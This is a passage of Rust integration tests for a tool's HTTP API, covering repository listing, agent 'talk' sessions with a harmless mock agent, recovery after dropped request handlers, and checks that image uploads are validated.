6078                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
6079            "{list}"
6080        );
6081    }
6082
6083    #[tokio::test]
6084    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
6085        let tmp = TempDir::new().expect("tempdir");
6086        let repo = tmp.path().join("repo");
6087        std::fs::create_dir_all(&repo).expect("repo dir");
6088        let root = tmp.path().join("root");
6089        make_checkout(&root, "github.com", "yukimemi", "magi");
6090        std::fs::write(
6091            repo.join("magi.toml"),
6092            format!(
6093                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
6094                root.to_string_lossy().into_owned()
6095            ),
6096        )
6097        .expect("write magi.toml");
6098
6099        let f = Fixture::with_repo(repo).await;
6100        let first = f.get("/api/repos").await;
6101        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
6102
6103        // A second checkout appears; within the TTL the cached answer must
6104        // not notice it.
6105        make_checkout(&root, "github.com", "yukimemi", "rvpm");
6106        let second = f.get("/api/repos").await;
6107        assert_eq!(
6108            second.json().as_array().map(Vec::len),
6109            Some(1),
6110            "a fresh cache must not rescan inside the TTL"
6111        );
6112
6113        let refreshed = f.get("/api/repos?refresh=1").await;
6114        assert_eq!(
6115            refreshed.json().as_array().map(Vec::len),
6116            Some(2),
6117            "an explicit refresh must rescan even inside the TTL"
6118        );
6119    }
6120
6121    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
6122    /// string, declared straight in a repository's own `magi.toml` rather
6123    /// than the operator's real roster. No real agent CLI is spawned - `sh`
6124    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
6125    /// this is safe to run over a real HTTP round trip.
6126    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
6127
6128    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
6129    /// real `Config::discover` to find an agent - `talk::begin` resolves one
6130    /// even though it takes no turn, and `talk_say` invokes one.
6131    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
6132        let tmp = TempDir::new().expect("tempdir");
6133        let repo = tmp.path().join("repo");
6134        std::fs::create_dir_all(&repo).expect("repo dir");
6135        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6136        let f = Fixture::with_repo(repo.clone()).await;
6137        (tmp, repo, f)
6138    }
6139
6140    #[tokio::test]
6141    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
6142        let (_tmp, _repo, f) = talk_fixture().await;
6143
6144        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
6145        // is the ordinary way a phone opens a talk.
6146        let opened = f.post("/api/talks", None).await;
6147        assert_eq!(opened.status, 201, "{}", opened.body);
6148        let body = opened.json();
6149        assert_eq!(body["status"], "open");
6150        assert_eq!(
6151            body["turns"].as_array().unwrap().len(),
6152            0,
6153            "opening takes no agent turn: there is nothing yet to answer"
6154        );
6155
6156        // An explicit empty object is the same request as none at all.
6157        let also_opened = f.post("/api/talks", Some("{}")).await;
6158        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
6159
6160        let listed = f.get("/api/talks").await.json();
6161        assert_eq!(listed.as_array().unwrap().len(), 2);
6162    }
6163
6164    #[tokio::test]
6165    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6166        let f = Fixture::start().await;
6167        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6168        let queue = f.queue();
6169        let mut mine = Task::new(
6170            "rename the loader".to_owned(),
6171            "rename the loader".to_owned(),
6172            PathBuf::from("/repo/magi"),
6173            Source::Agent {
6174                run: talk_id.clone(),
6175                node: "chat".to_owned(),
6176            },
6177        );
6178        queue.put(&mut mine).expect("file the task");
6179        let mut theirs = Task::new(
6180            "unrelated".to_owned(),
6181            "unrelated".to_owned(),
6182            PathBuf::from("/repo/magi"),
6183            Source::Human,
6184        );
6185        queue.put(&mut theirs).expect("file the task");
6186
6187        let res = f.get(&format!("/api/talks/{talk_id}")).await;
6188        assert_eq!(res.status, 200, "{}", res.body);
6189        let body = res.json();
6190        assert_eq!(
6191            body["status"], "open",
6192            "filing a task does not close a talk"
6193        );
6194        let tasks = body["tasks"].as_array().expect("tasks array");
6195        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6196        assert_eq!(tasks[0]["id"], mine.id);
6197    }
6198
6199    #[tokio::test]
6200    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6201        let (_tmp, _repo, f) = talk_fixture().await;
6202        let id = f.post("/api/talks", None).await.json()["id"]
6203            .as_str()
6204            .expect("id")
6205            .to_owned();
6206
6207        let res = f
6208            .post(
6209                &format!("/api/talks/{id}/say"),
6210                Some(r#"{"text":"what does the queue module do?"}"#),
6211            )
6212            .await;
6213        assert_eq!(res.status, 202, "{}", res.body);
6214        let queued = res.json();
6215        let turns = queued["turns"].as_array().expect("turns array");
6216        assert_eq!(
6217            turns.len(),
6218            1,
6219            "the answer reflects only what is on disk the instant it is sent, \
6220             before the agent's turn - which can run for the whole of \
6221             `[graph] timeout_talk` - has a chance to land: {queued}"
6222        );
6223        assert_eq!(turns[0]["who"], "operator");
6224        assert_eq!(turns[0]["body"], "what does the queue module do?");
6225        assert_eq!(
6226            queued["thinking"], true,
6227            "the accepted response exposes the background turn claim: {queued}"
6228        );
6229
6230        let mut turns_after = 1;
6231        for _ in 0..SETTLE_STEPS {
6232            let detail = f.get(&format!("/api/talks/{id}")).await.json();
6233            turns_after = detail["turns"].as_array().expect("turns array").len();
6234            if turns_after == 2 {
6235                break;
6236            }
6237            tokio::time::sleep(Duration::from_millis(10)).await;
6238        }
6239        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6240    }
6241
6242    /// A phone that reloads mid-request drops `talk_say`'s whole handler
6243    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
6244    /// guards against: `talk::record` used to return, and only *then* did the
6245    /// handler make a second, separate disk round trip before spawning the
6246    /// agent's reply task. A future dropped in that gap left a message
6247    /// recorded on disk with no reply task ever started and no way back short
6248    /// of a fresh message - and the gap was not even the whole story: *any*
6249    /// `.await` in this handler, including the very first one, is a point
6250    /// where a drop can land after the awaited work already finished but
6251    /// before this handler's own code resumes to act on it. `record` now
6252    /// runs inside the task `tokio::spawn` hands to the runtime before this
6253    /// handler ever awaits anything of its own again, so there is nothing
6254    /// left in *this* handler's future for a disconnect to interrupt between
6255    /// the message landing on disk and the reply task starting.
6256    ///
6257    /// A real socket disconnect cannot be relied on to land in the old gap
6258    /// from a test - over loopback, `talk_say` typically finishes before the
6259    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
6260    /// same failure mode directly: it drops the task's future at whatever
6261    /// point it has reached, exactly what axum does to the handler future,
6262    /// without needing to win a real network race. Sweeping the delay before
6263    /// aborting samples a range of points the task's execution can be at,
6264    /// including where the old code sat waiting on its second disk round
6265    /// trip - confirmed by reverting this fix locally and watching this same
6266    /// sweep catch a talk stuck with the operator's turn recorded and no
6267    /// reply ever following.
6268    #[tokio::test]
6269    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
6270        let tmp = TempDir::new().expect("tempdir");
6271        let repo = tmp.path().join("repo");
6272        std::fs::create_dir_all(&repo).expect("repo dir");
6273        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6274        let home = TempDir::new().expect("temp home");
6275        let talks = Talks::at(home.path().join("talks"));
6276        let ui = Arc::new(
6277            Ui::new(
6278                Queue::at(home.path().join("queue")),
6279                Questions::at(home.path().join("questions")),
6280                talks.clone(),
6281                home.path().join("runs"),
6282                home.path().to_path_buf(),
6283                repo.clone(),
6284            )
6285            .with_worktrees_root(home.path().join("wt")),
6286        );
6287        let cfg = config_for(&repo).await.expect("discover config");
6288
6289        for delay in 0..40u32 {
6290            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6291            let id = talk.id.clone();
6292
6293            let handler = tokio::spawn(talk_say(
6294                State(Arc::clone(&ui)),
6295                Path(id.clone()),
6296                Ok(Json(NewTalkTurn {
6297                    text: "what does the queue module do?".to_owned(),
6298                    attachments: Vec::new(),
6299                })),
6300            ));
6301            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6302            handler.abort();
6303            // Wait out the abort so the next iteration's talk does not race
6304            // this one's still-unwinding turn guard.
6305            let _ = handler.await;
6306
6307            let mut turns = 0;
6308            for _ in 0..SETTLE_STEPS {
6309                if let Ok(fresh) = talks.get(&id) {
6310                    turns = fresh.turns.len();
6311                    if turns != 1 {
6312                        break;
6313                    }
6314                }
6315                tokio::time::sleep(Duration::from_millis(10)).await;
6316            }
6317            assert_ne!(
6318                turns, 1,
6319                "delay {delay}: talk {id} recorded the operator's turn but \
6320                 the agent never answered - the reply task was never \
6321                 started after the handler future was dropped"
6322            );
6323        }
6324    }
6325
6326    /// The same drop, landing on `talk_say`'s other durable write.
6327    ///
6328    /// When a turn is already running, the busy branch persists the
6329    /// operator's text as a queued draft and then reclaims the turn slot if
6330    /// the holder gave it up in the meantime - and whoever reclaims owes that
6331    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
6332    /// which finishes whether or not the future awaiting it is still there,
6333    /// so a handler dropped at that `.await` used to leave the draft written
6334    /// to disk with the reclaimed guard dropped unread and no drainer ever
6335    /// started: the message sat queued until some unrelated later `say`
6336    /// happened to pick it up.
6337    ///
6338    /// This used to drive the handler future by hand, polling it a fixed
6339    /// number of times to park it at the `.await` where it asks for the turn
6340    /// and finds it busy, before the reclaim's slot-free case could be set up
6341    /// underneath it. That assumed a fixed number of polls lands at a fixed
6342    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
6343    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
6344    /// poll, so any number of this handler's several `blocking` awaits can
6345    /// collapse into one poll under load, landing the drive somewhere other
6346    /// than intended - including, occasionally, straight past the handler's
6347    /// own completion, which made polling it again panic with "async fn
6348    /// resumed after completion". No poll count fixes that; the handler's
6349    /// progress simply is not something a caller outside it can observe by
6350    /// counting.
6351    ///
6352    /// [`BusyQueueGate`] replaces the poll count with a real stop point
6353    /// inside the write itself, so the interleaving under test is pinned by
6354    /// an event instead of a guess: the gate fires only once the handler has
6355    /// actually decided `Busy` and is about to persist the draft, and it
6356    /// blocks that write until the test lets it through. Between those two
6357    /// moments the test drains the turn the handler found busy - through
6358    /// `drain_loop`, the protocol's other half - and then aborts the handler
6359    /// task outright, the same way axum drops a disconnected request's
6360    /// future. The write, and the reclaim it may do, run to completion
6361    /// regardless: they live in the `tokio::spawn` task the busy branch hands
6362    /// to the runtime before ever touching the gate, wholly independent of
6363    /// whether the handler that started it is still around - which is what
6364    /// this test is actually checking. A drainer other than that reclaim
6365    /// cannot exist here: the test's own `drain_loop` call happens before the
6366    /// gate opens, so it runs while the queue is still empty and hands the
6367    /// turn straight back rather than draining anything, closing off the
6368    /// possibility of the final assertion passing without the reclaim ever
6369    /// having done its job.
6370    #[tokio::test]
6371    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6372        let tmp = TempDir::new().expect("tempdir");
6373        let repo = tmp.path().join("repo");
6374        std::fs::create_dir_all(&repo).expect("repo dir");
6375        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6376        let home = TempDir::new().expect("temp home");
6377        let talks = Talks::at(home.path().join("talks"));
6378        let ui = Arc::new(
6379            Ui::new(
6380                Queue::at(home.path().join("queue")),
6381                Questions::at(home.path().join("questions")),
6382                talks.clone(),
6383                home.path().join("runs"),
6384                home.path().to_path_buf(),
6385                repo.clone(),
6386            )
6387            .with_worktrees_root(home.path().join("wt")),
6388        );
6389        let cfg = config_for(&repo).await.expect("discover config");
6390
6391        for attempt in 0..3u32 {
6392            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6393            let id = talk.id.clone();
6394            // A turn is already running, which is what sends `talk_say` down
6395            // the busy branch.
6396            let turn_guard = ui
6397                .begin_talk_turn(&id)
6398                .expect("claim the turn")
6399                .expect("a fresh talk owes nobody a turn");
6400
6401            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6402            let (release_tx, release_rx) = std::sync::mpsc::channel();
6403            ui.set_busy_queue_gate(BusyQueueGate {
6404                reached: reached_tx,
6405                release: release_rx,
6406            });
6407
6408            let handler = tokio::spawn(talk_say(
6409                State(Arc::clone(&ui)),
6410                Path(id.clone()),
6411                Ok(Json(NewTalkTurn {
6412                    text: "what does the queue module do?".to_owned(),
6413                    attachments: Vec::new(),
6414                })),
6415            ));
6416
6417            // Wait for the busy branch to actually reach the gate, rather
6418            // than for any fixed number of polls of anything - a bounded
6419            // wait rather than a bare `.await` so a regression that never
6420            // reaches the gate fails the test instead of hanging it.
6421            tokio::time::timeout(Duration::from_secs(5), reached_rx)
6422                .await
6423                .unwrap_or_else(|_| {
6424                    panic!(
6425                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6426                    )
6427                })
6428                .expect("the busy branch dropped the gate without using it");
6429
6430            // The turn that was running now finishes and gives the slot up
6431            // the way a real one does - through `drain_loop`, which finds
6432            // nothing queued yet (the write is still held at the gate) and
6433            // releases. The handler, parked inside `spawn_blocking` on the
6434            // other side of the gate, still believes the talk is busy -
6435            // exactly the interleaving the reclaim exists for.
6436            let running = talks.get(&id).expect("reload talk");
6437            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
6438
6439            // Drop the handler future now, the way a reloading phone drops
6440            // it: suspended waiting on the busy branch's answer, having
6441            // itself made no more progress since it handed the write off.
6442            handler.abort();
6443            let _ = handler.await;
6444
6445            // Only now let the gated write proceed. It persists the draft
6446            // and reclaims the now-free slot from inside the task the busy
6447            // branch already spawned - unaffected by the handler's abort
6448            // above, since that task was independent of the handler's own
6449            // future from the moment it was spawned.
6450            let _ = release_tx.send(());
6451
6452            // A settled talk: the draft drained into an operator turn and
6453            // answered.
6454            let mut fresh = talks.get(&id).expect("reload talk");
6455            for _ in 0..SETTLE_STEPS {
6456                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
6457                    break;
6458                }
6459                tokio::time::sleep(Duration::from_millis(10)).await;
6460                fresh = talks.get(&id).expect("reload talk");
6461            }
6462            assert!(
6463                fresh.pending.is_empty() && fresh.turns.len() == 2,
6464                "attempt {attempt}: talk {id} left the operator's text queued \
6465                 with no drainer - the reclaimed turn was dropped along with \
6466                 the handler future (pending {:?}, {} turns)",
6467                fresh.pending,
6468                fresh.turns.len()
6469            );
6470        }
6471    }
6472
6473    #[tokio::test]
6474    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
6475        let (_tmp, _repo, f) = talk_fixture().await;
6476        let id = f.post("/api/talks", None).await.json()["id"]
6477            .as_str()
6478            .expect("id")
6479            .to_owned();
6480        let store = f.talks();
6481        let mut recovered = store.get(&id).expect("opened talk");
6482        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6483            .expect("persist pending draft without a live turn");
6484
6485        let edited = f
6486            .post(
6487                &format!("/api/talks/{id}/pending/edit"),
6488                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
6489            )
6490            .await;
6491        assert_eq!(edited.status, 200, "{}", edited.body);
6492        assert!(edited.json()["thinking"].as_bool().unwrap());
6493
6494        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
6495        for _ in 0..SETTLE_STEPS {
6496            if detail["turns"].as_array().expect("turns").len() == 2 {
6497                break;
6498            }
6499            tokio::time::sleep(Duration::from_millis(10)).await;
6500            detail = f.get(&format!("/api/talks/{id}")).await.json();
6501        }
6502        let turns = detail["turns"].as_array().expect("turns");
6503        assert_eq!(
6504            turns.len(),
6505            2,
6506            "the recovered draft must run once: {detail}"
6507        );
6508        assert_eq!(turns[0]["body"], "corrected");
6509        assert_eq!(detail["pending"], "");
6510    }
6511
6512    #[tokio::test]
6513    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
6514        let tmp = TempDir::new().expect("tempdir");
6515        let repo = tmp.path().join("repo");
6516        std::fs::create_dir_all(&repo).expect("repo dir");
6517        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6518        let f = Fixture::with_repo(repo).await;
6519        let id = f.post("/api/talks", None).await.json()["id"]
6520            .as_str()
6521            .expect("id")
6522            .to_owned();
6523        let store = f.talks();
6524        let mut recovered = store.get(&id).expect("opened talk");
6525        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6526            .expect("persist pending draft without a live turn");
6527
6528        let refused = f
6529            .post(
6530                &format!("/api/talks/{id}/say"),
6531                Some(r#"{"text":"new message"}"#),
6532            )
6533            .await;
6534        assert_eq!(refused.status, 409, "{}", refused.body);
6535        assert!(refused.body.contains("resume"), "{}", refused.body);
6536        let saved = store.get(&id).expect("draft remains after refusal");
6537        assert!(saved.turns.is_empty());
6538        assert_eq!(saved.pending, "saved before restart");
6539
6540        let say_path = format!("/api/talks/{id}/say");
6541        let (first, second) = tokio::join!(
6542            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
6543            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
6544        );
6545        assert_eq!(first.status, 409, "{}", first.body);
6546        assert_eq!(second.status, 409, "{}", second.body);
6547        let saved = store
6548            .get(&id)
6549            .expect("draft remains after concurrent refusals");
6550        assert!(saved.turns.is_empty());
6551        assert_eq!(saved.pending, "saved before restart");
6552
6553        let resumed = f
6554            .post(&format!("/api/talks/{id}/pending/resume"), None)
6555            .await;
6556        assert_eq!(resumed.status, 202, "{}", resumed.body);
6557        let duplicate = f
6558            .post(&format!("/api/talks/{id}/pending/resume"), None)
6559            .await;
6560        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
6561
6562        for _ in 0..SETTLE_STEPS {
6563            if store.get(&id).expect("talk").turns.len() == 2 {
6564                break;
6565            }
6566            tokio::time::sleep(Duration::from_millis(10)).await;
6567        }
6568        let finished = store.get(&id).expect("finished talk");
6569        assert_eq!(finished.turns.len(), 2, "{finished:?}");
6570        assert_eq!(finished.turns[0].body, "saved before restart");
6571        assert!(finished.pending.is_empty());
6572    }
6573
6574    #[tokio::test]
6575    async fn an_image_only_recovered_draft_resumes_without_text() {
6576        let (_tmp, _repo, f) = talk_fixture().await;
6577        let id = f.post("/api/talks", None).await.json()["id"]
6578            .as_str()
6579            .expect("id")
6580            .to_owned();
6581        let uploaded = f
6582            .post_bytes(
6583                &format!("/api/talks/{id}/attachments"),
6584                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
6585                PNG_BYTES,
6586            )
6587            .await;
6588        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6589        let attachment = f
6590            .talks()
6591            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
6592            .expect("attachment metadata")
6593            .expect("stored attachment");
6594        let store = f.talks();
6595        let mut recovered = store.get(&id).expect("opened talk");
6596        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
6597
6598        let resumed = f
6599            .post(&format!("/api/talks/{id}/pending/resume"), None)
6600            .await;
6601        assert_eq!(resumed.status, 202, "{}", resumed.body);
6602        for _ in 0..SETTLE_STEPS {
6603            if store.get(&id).expect("talk").turns.len() == 2 {
6604                break;
6605            }
6606            tokio::time::sleep(Duration::from_millis(10)).await;
6607        }
6608        let finished = store.get(&id).expect("finished talk");
6609        assert_eq!(finished.turns.len(), 2, "{finished:?}");
6610        assert!(finished.turns[0].body.is_empty());
6611        assert_eq!(finished.turns[0].attachments.len(), 1);
6612        assert!(finished.pending_attachments.is_empty());
6613    }
6614
6615    #[tokio::test]
6616    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
6617        let (_tmp, _repo, f) = talk_fixture().await;
6618        let id = f.post("/api/talks", None).await.json()["id"]
6619            .as_str()
6620            .expect("id")
6621            .to_owned();
6622        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6623        assert_eq!(closed.status, 200, "{}", closed.body);
6624        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6625            .expect("serialize closed talk");
6626        for (path, body) in [
6627            (format!("/api/talks/{id}/pending/resume"), None),
6628            (
6629                format!("/api/talks/{id}/pending/clear"),
6630                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
6631            ),
6632            (
6633                format!("/api/talks/{id}/pending/edit"),
6634                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
6635            ),
6636            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
6637        ] {
6638            let response = f.post(&path, body).await;
6639            assert_eq!(response.status, 409, "{}", response.body);
6640        }
6641        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6642            .expect("serialize closed talk");
6643        assert_eq!(
6644            after_clear, before_clear,
6645            "clear must not rewrite a closed talk"
6646        );
6647    }
6648
6649    /// Keeps both claims observable long enough to exercise the distinction
6650    /// between one busy talk and a globally locked Chat surface.
6651    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
6652
6653    #[tokio::test]
6654    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
6655        let tmp = TempDir::new().expect("tempdir");
6656        let repo = tmp.path().join("repo");
6657        std::fs::create_dir_all(&repo).expect("repo dir");
6658        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6659        let f = Fixture::with_repo(repo).await;
6660        let id_a = f.post("/api/talks", None).await.json()["id"]
6661            .as_str()
6662            .unwrap()
6663            .to_owned();
6664        let id_b = f.post("/api/talks", None).await.json()["id"]
6665            .as_str()
6666            .unwrap()
6667            .to_owned();
6668
6669        let a = f
6670            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
6671            .await;
6672        assert_eq!(a.status, 202, "{}", a.body);
6673        assert_eq!(a.json()["thinking"], true);
6674        let b = f
6675            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
6676            .await;
6677        assert_eq!(b.status, 202, "{}", b.body);
6678        assert_eq!(b.json()["thinking"], true);
6679
6680        let listed = f.get("/api/talks").await.json();
6681        for id in [&id_a, &id_b] {
6682            let view = listed
6683                .as_array()
6684                .unwrap()
6685                .iter()
6686                .find(|talk| talk["id"] == *id)
6687                .unwrap();
6688            assert_eq!(view["thinking"], true, "{listed}");
6689        }
6690        let repeated = f
6691            .post(
6692                &format!("/api/talks/{id_a}/say"),
6693                Some(r#"{"text":"again"}"#),
6694            )
6695            .await;
6696        assert_eq!(repeated.status, 202, "{}", repeated.body);
6697        assert_eq!(repeated.json()["pending"], "again");
6698    }
6699
6700    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
6701    /// few more, since real uploads are never exactly eight bytes.
6702    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6703
6704    #[tokio::test]
6705    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6706        let f = Fixture::start().await;
6707        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6708
6709        let res = f
6710            .post_bytes(
6711                &format!("/api/talks/{id}/attachments"),
6712                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6713                PNG_BYTES,
6714            )
6715            .await;
6716        assert_eq!(res.status, 201, "{}", res.body);
6717        let body = res.json();
6718        assert_eq!(body["name"], "shot.png");
6719        assert_eq!(body["mime"], "image/png");
6720        assert_eq!(body["bytes"], PNG_BYTES.len());
6721        let att_id = body["id"].as_str().expect("id").to_owned();
6722        assert_eq!(
6723            att_id.len(),
6724            32,
6725            "the id must never be a client-suppliable path: {att_id}"
6726        );
6727
6728        let got = f
6729            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6730            .await;
6731        assert_eq!(got.status, 200, "{}", got.body);
6732        assert_eq!(got.header("content-type"), Some("image/png"));
6733        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6734        assert_eq!(got.bytes, PNG_BYTES);
6735    }
6736
6737    #[tokio::test]
6738    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6739        let f = Fixture::start().await;
6740        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6741
6742        // SVG can carry a `<script>`, so it is never on the whitelist even
6743        // though it is a real IANA image type.
6744        let svg = f
6745            .post_bytes(
6746                &format!("/api/talks/{id}/attachments"),
6747                &[("Content-Type", "image/svg+xml")],
6748                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6749            )
6750            .await;
6751        assert!(
6752            (400..500).contains(&svg.status),
6753            "svg must be refused: {} {}",
6754            svg.status,
6755            svg.body
6756        );
6757        assert!(svg.body.contains("SVG"), "{}", svg.body);
6758
6759        let text = f
6760            .post_bytes(
6761                &format!("/api/talks/{id}/attachments"),
6762                &[("Content-Type", "text/plain")],
6763                b"just some text",
6764            )
6765            .await;
6766        assert!(
6767            (400..500).contains(&text.status),
6768            "an unlisted type must be refused: {} {}",
6769            text.status,
6770            text.body
6771        );
6772
6773        // The declared type is a real png, but the size check runs before
6774        // the bytes are even looked at.
6775        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6776        let big = f
6777            .post_bytes(
6778                &format!("/api/talks/{id}/attachments"),
6779                &[("Content-Type", "image/png")],
6780                &oversized,
6781            )
6782            .await;
6783        assert_eq!(
6784            big.status,
6785            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6786            "{}",
6787            big.body
6788        );
6789    }
6790
6791    #[tokio::test]
6792    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6793        let f = Fixture::start().await;
6794        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6795
6796        // A whitelisted `Content-Type`, but bytes that are not actually a
6797        // png - the declared header alone is never trusted.
6798        let res = f
6799            .post_bytes(
6800                &format!("/api/talks/{id}/attachments"),
6801                &[("Content-Type", "image/png")],
6802                b"<html>not a picture</html>",
6803            )
6804            .await;
6805        assert!((400..500).contains(&res.status), "{}", res.body);
6806    }
6807
6808    #[tokio::test]
6809    async fn an_unknown_attachment_id_is_a_404() {
6810        let f = Fixture::start().await;
6811        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6812
6813        let res = f
6814            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6815            .await;
6816        assert_eq!(res.status, 404, "{}", res.body);
6817    }
6818
6819    #[tokio::test]
6820    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6821        let f = Fixture::start().await;
6822        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6823
6824        let uploaded = f
6825            .post_bytes(
6826                &format!("/api/talks/{id}/attachments"),
6827                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6828                PNG_BYTES,
6829            )
6830            .await;
6831        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6832        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6833
6834        let res = f
6835            .post(
6836                &format!("/api/talks/{id}/say"),
6837                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6838            )
6839            .await;
6840        assert_eq!(res.status, 202, "{}", res.body);
6841        let queued = res.json();
6842        let turns = queued["turns"].as_array().expect("turns array");
6843        assert_eq!(
6844            turns.len(),
6845            1,
6846            "an empty body with an attachment is still a turn: {queued}"
6847        );
6848        assert_eq!(turns[0]["who"], "operator");
6849        assert_eq!(turns[0]["body"], "");
6850        let atts = turns[0]["attachments"]
6851            .as_array()
6852            .expect("attachments array");
6853        assert_eq!(atts.len(), 1);
6854        assert_eq!(atts[0]["id"], att_id);
6855        assert_eq!(atts[0]["mime"], "image/png");
6856
6857        // Not only in the response: `record` flushes to disk before the
6858        // agent's own turn is even spawned.
6859        let on_disk = f.talks().get(&id).expect("get");
6860        assert_eq!(on_disk.turns[0].attachments.len(), 1);
6861        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6862    }
6863
6864    #[tokio::test]
6865    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6866        let f = Fixture::start().await;
6867        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6868
6869        let res = f
6870            .post(
6871                &format!("/api/talks/{id}/say"),
6872                Some(&format!(
6873                    r#"{{"text":"hi","attachments":["{}"]}}"#,
6874                    "a".repeat(32)
6875                )),
6876            )
6877            .await;
6878        assert!((400..500).contains(&res.status), "{}", res.body);
6879        assert!(res.body.contains("unknown attachment"), "{}", res.body);
6880
6881        let on_disk = f.talks().get(&id).expect("get");
6882        assert!(
6883            on_disk.turns.is_empty(),
6884            "a rejected attachment id must not partially record the turn: {:?}",
6885            on_disk.turns
6886        );
6887    }
6888
6889    #[tokio::test]
6890    async fn talk_close_makes_the_talk_refuse_further_turns() {
6891        let f = Fixture::start().await;
6892        let id = seed_talk(&f, "20260904-014455-cd34", "open");
6893
6894        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6895        assert_eq!(closed.status, 200, "{}", closed.body);
6896        assert_eq!(closed.json()["status"], "closed");
6897
6898        // Idempotent: closing an already-closed talk is not an error.
6899        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6900        assert_eq!(closed_again.status, 200);
6901        assert_eq!(closed_again.json()["status"], "closed");
6902
6903        let said = f
6904            .post(
6905                &format!("/api/talks/{id}/say"),
6906                Some(r#"{"text":"too late"}"#),
6907            )
6908            .await;
6909        assert_eq!(said.status, 409, "{}", said.body);
6910    }
6911
6912    #[tokio::test]
